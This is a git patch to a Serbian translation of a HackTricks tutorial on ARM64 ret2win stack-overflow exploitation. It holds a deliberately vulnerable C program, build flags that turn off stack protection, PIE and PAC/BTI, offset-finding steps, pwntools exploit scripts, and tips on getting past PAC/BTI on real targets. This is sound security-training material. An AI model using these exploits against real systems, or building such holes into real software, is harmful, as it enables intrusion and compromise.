From b2c23d00b6100ab4b6317ee17627907584102209 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 27 Aug 2025 02:33:36 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6 --- .../stack-overflow/ret2win/ret2win-arm64.md | 97 +++++++++++++++---- 1 file changed, 76 insertions(+), 21 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 0084260ad..1ff4e5a4d 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -9,7 +9,7 @@ Pronađite uvod u arm64 u: ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Kod ```c #include #include @@ -28,17 +28,29 @@ vulnerable_function(); return 0; } ``` -Kompajlirati bez pie i kanarinca: +Kompajliraj bez pie i canary: ```bash -clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie +clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none ``` -## Pronalaženje ofseta +- Dodatni flag `-mbranch-protection=none` onemogućava AArch64 Branch Protection (PAC/BTI). Ako tvoj toolchain po defaultu uključuje PAC ili BTI, ovo održava lab reproducibilnim. Da proveriš da li kompajlirani binarni koristi PAC/BTI možeš: +- Potražiti AArch64 GNU properties: +- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'` +- Pregledati prologe/epiloge za `paciasp`/`autiasp` (PAC) ili za `bti c` landing padove (BTI): +- `objdump -d ret2win | head -n 40` -### Opcija obrasca +### AArch64 calling convention quick facts -Ovaj primer je napravljen koristeći [**GEF**](https://github.com/bata24/gef): +- Link register je `x30` (takođe `lr`), i funkcije obično čuvaju `x29`/`x30` sa `stp x29, x30, [sp, #-16]!` i vraćaju ih sa `ldp x29, x30, [sp], #16; ret`. +- To znači da sačuvana adresa povratka stoji na `sp+8` u odnosu na bazu frejma. Sa `char buffer[64]` postavljenim ispod, uobičajena distanca prepisivanja do sačuvanog `x30` je 64 (buffer) + 8 (sačuvani x29) = 72 bajta — upravo to ćemo naći dalje. +- Pokazivač stoga (SP) mora ostati poravnat na 16‑bajtnoj granici na granicama funkcija. Ako kasnije budeš pravio ROP lance za složenije scenarije, zadrži SP poravnanje ili možeš srušiti program u epilogama funkcija. -Pokrenite gdb sa gef, kreirajte obrazac i koristite ga: +## Pronalaženje offset-a + +### Opcija pattern-a + +Ovaj primer je kreiran koristeći [**GEF**](https://github.com/bata24/gef): + +Pokreni gdb sa GEF, kreiraj pattern i upotrebi ga: ```bash gdb -q ./ret2win pattern create 200 @@ -46,17 +58,17 @@ run ```
-arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pomeraj obrasca: +arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pattern offset: ```bash pattern search $x30 ```
-**Pomak je 72 (9x48).** +**Offset je 72 (9x48).** -### Opcija pomaka steka +### Stack offset option -Počnite tako što ćete dobiti adresu steka gde je sačuvan pc registar: +Počnite dobijanjem adrese stack-a na kojoj je smešten pc register: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc @@ -65,14 +77,14 @@ info frame ```
-Sada postavite tačku prekida nakon `read()` i nastavite dok se `read()` ne izvrši i postavite obrazac kao što je 13371337: +Sada postavite breakpoint posle `read()` i nastavite dok se `read()` ne izvrši, pa postavite pattern као 13371337: ``` b *vulnerable_function+28 c ```
-Pronađite gde je ovaj obrazac smešten u memoriji: +Pronađi gde je ovaj obrazac smešten u memoriji:
@@ -80,23 +92,25 @@ Zatim: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
-## Bez PIE +## No PIE -### Redovni +### Obično -Dobijte adresu **`win`** funkcije: +Dohvati adresu funkcije **`win`**: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` -Eksploatacija: +Exploit: ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) +# Optional but nice for AArch64 +context.arch = 'aarch64' # Prepare the payload offset = 72 @@ -114,7 +128,7 @@ p.close() ### Off-by-1 -Zapravo, ovo će više ličiti na off-by-2 u sačuvanom PC-u na steku. Umesto da prepisujemo celu adresu povratka, prepisujemo **samo poslednja 2 bajta** sa `0x06c4`. +Zapravo, ovo će više biti off-by-2 u spremljenom PC-u na stacku. Umesto da prepišemo ceo return address, prepišemo **samo poslednja 2 bajta** sa `0x06c4`. ```python from pwn import * @@ -136,16 +150,16 @@ p.close() ```
-Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), što je pravi off-by-**one** u fiktivnoj ranjivosti. +Možete pronaći još jedan off-by-one primer za ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), koji je pravi off-by-**one** u fiktivnoj ranjivosti. ## Sa PIE > [!TIP] -> Kompajlirajte binarni fajl **bez `-no-pie` argumenta** +> Kompajlirajte binarni fajl **bez argumenta `-no-pie`** ### Off-by-2 -Bez leak-a ne znamo tačnu adresu pobedničke funkcije, ali možemo znati offset funkcije od binarnog fajla i znajući da adresa na koju se vraćamo već pokazuje na blisku adresu, moguće je leak-ovati offset do win funkcije (**0x7d4**) u ovom slučaju i jednostavno koristiti taj offset: +Bez leak-a ne znamo tačnu adresu win function, ali možemo odrediti offset funkcije u binary-ju, i pošto return address koji prepisujemo već pokazuje na blisku adresu, moguće je leak-ovati offset do win function (**0x7d4**) u ovom slučaju i jednostavno koristiti taj offset:
```python @@ -167,4 +181,45 @@ p.send(payload) print(p.recvline()) p.close() ``` +### Beleške o modernom AArch64 hardeningu (PAC/BTI) i ret2win + +- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case: +- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`. +- If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates `x30`. For learning scenarios, rebuild with `-mbranch-protection=none` (shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes an `autiasp`/`ret` pair that authenticates your forged LR. +- To check features quickly: +- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes. +- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`. + +### Pokretanje na hostovima koji nisu ARM64 (qemu‑user brz savet) + +Ako ste na x86_64 ali želite da vežbate AArch64: +```bash +# Install qemu-user and AArch64 libs (Debian/Ubuntu) +sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross + +# Run the binary with the AArch64 loader environment +qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win + +# Debug with GDB (qemu-user gdbstub) +qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win & +# In another terminal +gdb-multiarch ./ret2win -ex 'target remote :1234' +``` +### Povezane HackTricks stranice + +- +{{#ref}} +../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +{{#endref}} +- +{{#ref}} +../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +{{#endref}} + + + +## Reference + +- Omogućavanje PAC i BTI na AArch64 za Linux (Arm Community, nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux +- Standard poziva procedura za Arm 64-bitnu arhitekturu (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst {{#include ../../../banners/hacktricks-training.md}}